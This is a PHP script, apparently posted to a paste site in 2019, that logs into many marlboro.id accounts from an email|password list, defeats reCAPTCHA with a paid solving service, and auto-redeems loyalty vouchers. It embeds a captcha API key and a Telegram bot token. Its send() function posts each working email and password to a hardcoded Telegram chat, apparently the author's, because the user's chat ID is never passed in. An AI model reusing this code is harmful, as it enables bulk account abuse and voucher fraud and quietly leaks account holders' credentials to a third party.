· 6 years ago · Dec 04, 2019, 11:50 AM
1<?php
2/*
3Auto redeem VOC Marlboro
4Created By Alip Dzikri
5PT MISKIN TERUS Aka Hijrah ~ 2019
6*/
7error_reporting(0);
8$key = '1a4f5aeb3a913fc06a9fd76975aa5535'; //apikey ANTI CAPCTHA
9$tele = ''; //Input your ChatID Telegram
10
11include("a.php");
12include("b.php");
13echo "URL Voucher : ";
14$voc = trim(fgets(STDIN));
15echo "File Akun : ";
16$fileakun = trim(fgets(STDIN));
17print PHP_EOL."Total Ada : ".count(explode("\n", str_replace("\r","",@file_get_contents($fileakun))))." Akun, Letsgo..\n";
18foreach(explode("\n", str_replace("\r", "", @file_get_contents($fileakun))) as $c => $akon)
19 {
20$capcha = capcha($key);
21
22$pecah = explode("|", trim($akon));
23$email = trim($pecah[0]);
24$password = trim($pecah[1]);
25$urlencode = urlencode($email);
26$urlencode1 = urlencode($password);
27$get_cookie = get_cookie();
28preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $get_cookie, $kuea);
29preg_match('/<input type="hidden" name="decide_csrf" value="(.*?)"/',$get_cookie, $a);
30$decide_csrf = $a[1];
31$device_id=get_between($get_cookie, 'Set-Cookie: deviceId=', '; Max-Age=');
32$decide_session=get_between($get_cookie, 'Set-Cookie: decide_session=', '; path=/;');
33$login = login($device_id,$decide_session,$urlencode,$urlencode1,$decide_csrf,$capcha);
34if(preg_match('/success/i', $login)){
35 echo "\r".$email." = ";
36preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $login, $sesi);
37preg_match_all("/[0-9]{13}/", $sesi[1][1], $digit);
38$direct = redirect($digit,$sesi);
39$jsdirect = json_decode($direct, true);
40if($jsdirect[data][status] ==! "success"){
41echo "FAILED GET URL \n";
42} else {
43$url = $jsdirect['data']['url'];
44$aldmic = aldmic($url);
45preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $aldmic, $cookie);
46$cf_duid = $cookie[1][0];
47$xsrf_token = $cookie[1][1];
48$aldmic_session = $cookie[1][2];
49$aldmic_key = $cookie[1][3];
50$capcha2 = capcha2($key,$voc);
51$get_voc = get_voc($voc,$cf_duid,$xsrf_token,$aldmic_key,$aldmic_session);
52 $livee = "wwww.txt";
53 $fopen = fopen($livee, "a+");
54 $fwrite = fwrite($fopen, "$get_voc");
55 fclose($fopen);
56preg_match('/<input type="hidden" name="_token" value="(.*?)">/', $get_voc, $token_redeem);
57$req = $token_redeem[1];
58$redeem = redeem($voc,$cf_duid,$xsrf_token,$aldmic_key,$aldmic_session,$req,$capcha2);
59if(preg_match('/sukses!/i', $redeem)){
60 echo "SUKSES CLAIM VOC => ".$voc." \n";
61 $livee = "success-claim.txt";
62 $fopen = fopen($livee, "a+");
63 $fwrite = fwrite($fopen, "\r SUCCESS => ".$email." | ".$password." | ".$voc." \n");
64 fclose($fopen);
65 send($email,$password,$voc);
66 print_r($redeem);
67 } else {
68 echo "\r Gagal Claim Voc => ";
69 if(preg_match('/Tidak dapat melakukan redeem pada saat ini, silakan coba kembali./i', $redeem)){
70 echo "Tidak dapat melakukan redeem pada saat ini, silakan coba kembali. ".$email." \n";
71 } else if(preg_match('/Sorry, your session has expired. Please refresh and try again./i', $redeem)){
72 echo "Sorry, your session has expired | ".$email."\n";
73 }
74 }
75}
76} else{
77echo "Gagal (".get_between($login, '"message":"', '","').")\n";
78$i=$i-1;
79}
80}
81//function
82 function get_cookie(){
83$c = curl_init("https://www.marlboro.id/auth/login");
84 curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
85 curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
86 curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
87 curl_setopt($c, CURLOPT_MAXREDIRS, 15);
88 curl_setopt($c, CURLOPT_TIMEOUT, 30);
89 curl_setopt($c, CURLOPT_ENCODING, "");
90 curl_setopt($c, CURLOPT_CUSTOMREQUEST, "GET");
91 curl_setopt($c, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
92 curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
93 curl_setopt($c, CURLOPT_HEADER, true);
94 $response = curl_exec($c);
95 return $response;
96
97}
98 function login($device_id,$decide_session,$urlencode,$urlencode1,$decide_csrf,$capcha){
99 $header = array();
100 $header[] = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0";
101 $header[] = "Accept: text/html,application/xhtml+xml,application/xml";
102 $header[] = "Accept-Language: en-US,en";
103 $header[] = "Accept: application/json";
104 $header[] = 'Cookie: scs=1; deviceId='.$device_id.'; decide_session='.$decide_session.'';
105 $c = curl_init("https://www.marlboro.id/auth/login");
106 curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
107 curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
108 curl_setopt($c, CURLOPT_POSTFIELDS, 'email='.$urlencode.'&password='.$urlencode1.'&g-recaptcha-response='.$capcha.'&ref_uri=%2F&decide_csrf='.$decide_csrf.'¶m=&exception_redirect=false&sitekey=6LfFZpEUAAAAAAOeeFUdj-v_pUMb28yoq6SyjBta');
109 curl_setopt($c, CURLOPT_POST, true);
110 curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
111 curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
112 curl_setopt($c, CURLOPT_HEADER, true);
113 curl_setopt($c, CURLOPT_HTTPHEADER, $header);
114 $response = curl_exec($c);
115 return $response;
116 }
117 function redirect($digit,$sesi){
118 $ch = curl_init();
119 curl_setopt($ch, CURLOPT_URL, 'https://www.marlboro.id/aldmic/catalog?_='.$digit[0][0].'');
120 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
121 curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
122 $headers = array();
123 $headers[] = 'Host: www.marlboro.id';
124 $headers[] = 'Accept: */*';
125 $headers[] = 'X-Requested-With: XMLHttpRequest';
126 $headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36';
127 $headers[] = 'Sec-Fetch-Mode: cors';
128 $headers[] = 'Sec-Fetch-Site: same-origin';
129 $headers[] = 'Referer: https://www.marlboro.id/profile';
130 $headers[] = 'Accept-Encoding: gzip, deflate, br';
131 $headers[] = 'Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,ms;q=0.6';
132 $headers[] = 'Cookie: '.$sesi[1][0].'';
133 curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
134 $result = curl_exec($ch);
135 return $result;
136}
137function get_between($string, $start, $end)
138{
139 $string = " ".$string;
140 $ini = strpos($string,$start);
141 if ($ini == 0) return "";
142 $ini += strlen($start);
143 $len = strpos($string,$end,$ini) - $ini;
144 return substr($string,$ini,$len);
145}
146function aldmic($url){
147 $cc = curl_init();
148 $headers = array();
149 $headers[] = 'Authority: loyalty.aldmic.com';
150 $headers[] = 'user-agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36';
151 $headers[] = 'accept: text/html,application/xhtml+xml,application/xml';
152 $headers[] = 'sec-fetch-site: none';
153 $headers[] = 'referer: https://www.marlboro.id/profile ';
154 $headers[] = 'accept-language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,ms;q=0.6';
155 curl_setopt($cc, CURLOPT_URL, $url);
156 curl_setopt($cc, CURLOPT_RETURNTRANSFER, 1);
157 curl_setopt($cc, CURLOPT_HTTPHEADER, $headers);
158 curl_setopt($cc, CURLOPT_CUSTOMREQUEST, 'GET');
159 curl_setopt($cc, CURLINFO_HEADER_OUT, true);
160 curl_setopt($cc, CURLOPT_HEADER, 1);
161 $result = curl_exec($cc);
162 return $result;
163}
164function get_voc($voc,$cf_duid,$xsrf_token,$aldmic_key,$aldmic_session){
165 $ch = curl_init();
166 curl_setopt($ch, CURLOPT_URL, $voc);
167 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
168 curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
169 $headers = array();
170 $headers[] = 'Host: loyalty.aldmic.com';
171 $headers[] = 'Upgrade-Insecure-Requests: 1';
172 $headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36';
173 $headers[] = 'Sec-Fetch-Mode: navigate';
174 $headers[] = 'Sec-Fetch-User: ?1';
175 $headers[] = 'Accept: text/html,application/xhtml+xml,application/xml';
176 $headers[] = 'Sec-Fetch-Site: same-origin';
177 $headers[] = 'Referer: https://loyalty.aldmic.com/catalog/6';
178 $headers[] = 'Accept-Language: id-ID,id';
179 $headers[] = 'Cookie: '.$cf_duid.'; '.$aldmic_key.'; '.$xsrf_token.'; '.$aldmic_session.'';
180 curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
181 $result = curl_exec($ch);
182 return $result;
183}
184function redeem($voc,$cf_duid,$xsrf_token,$aldmic_key,$aldmic_session,$req,$capcha2){
185 $ch = curl_init();
186 curl_setopt($ch, CURLOPT_URL, $voc);
187 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
188 curl_setopt($ch, CURLOPT_POSTFIELDS, "_token=".$req."&g-recaptcha-response=".$capcha2."");
189 curl_setopt($ch, CURLOPT_POST, 1);
190 $headers = array();
191 $headers[] = 'Host: loyalty.aldmic.com';
192 $headers[] = 'Upgrade-Insecure-Requests: 1';
193 $headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36';
194 $headers[] = 'Accept: text/html,application/xhtml+xml,application/xml';
195 $headers[] = 'Referer: '.$voc.'';
196 $headers[] = 'Accept-Language: id-ID,id';
197 $headers[] = 'Cookie: '.$cf_duid.'; '.$aldmic_key.'; '.$xsrf_token.'; '.$aldmic_session.'';
198 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
199 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
200 curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
201 curl_setopt($ch, CURLOPT_ENCODING, "");
202 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
203 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
204 curl_setopt($ch, CURLOPT_HEADER, true);
205 $result = curl_exec($ch);
206
207 return $result;
208}
209function send($email,$password,$voc,$tele){
210 if($tele == null){
211 $tele = "885859399";
212 }
213$TOKEN = "1047643155:AAGopc9lVEHbjorW9fuWpb-OkaKIPYk_Ezc";
214$chatid = "$tele";
215$pesan = "SUKSES CLAIM | $email | $password | $voc ";
216$method = "sendMessage";
217$url = "https://api.telegram.org/bot" . $TOKEN . "/". $method;
218$post = [
219 'chat_id' => $chatid,
220 'text' => $pesan
221];
222$header = [
223 "X-Requested-With: XMLHttpRequest",
224 "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
225];
226$ch = curl_init();
227curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
228curl_setopt($ch, CURLOPT_URL, $url);
229//curl_setopt($ch, CURLOPT_REFERER, $refer);
230//curl_setopt($ch, CURLOPT_VERBOSE, true);
231curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
232curl_setopt($ch, CURLOPT_POSTFIELDS, $post );
233curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
234$datas = curl_exec($ch);
235}
236function capcha($key){
237
238$api = new NoCaptchaProxyless();
239$api->setVerboseMode(true);
240$api->setKey($key);
241 $api->setWebsiteURL("https://www.marlboro.id/auth/login");
242$api->setWebsiteKey("6LfFZpEUAAAAAAOeeFUdj-v_pUMb28yoq6SyjBta");
243if (!$api->createTask()) {
244 return false;
245}
246$taskId = $api->getTaskId();
247if (!$api->waitForResult()) {
248} else {
249 $recaptchaToken = $api->getTaskSolution();
250 return $recaptchaToken;
251}
252}
253
254
255function capcha2($key,$voc){
256
257$api = new NoCaptchaProxyless();
258$api->setVerboseMode(true);
259
260//your anti-captcha.com account key
261$api->setKey($key);
262
263//recaptcha key from target website
264$api->setWebsiteURL($voc);
265$api->setWebsiteKey("6Ldw9MQUAAAAAMObV4wrksZuXNbQsd0OEQ-ecqoQ");
266if (!$api->createTask()) {
267 //$api->debout("API v2 send failed - ".$api->getErrorMessage(), "red");
268 return false;
269}
270$taskId = $api->getTaskId();
271if (!$api->waitForResult()) {
272 // $api->debout("could not solve captcha", "red");
273 //$api->debout($api->getErrorMessage());
274} else {
275 $recaptchaToken = $api->getTaskSolution();
276 return $recaptchaToken;
277}
278}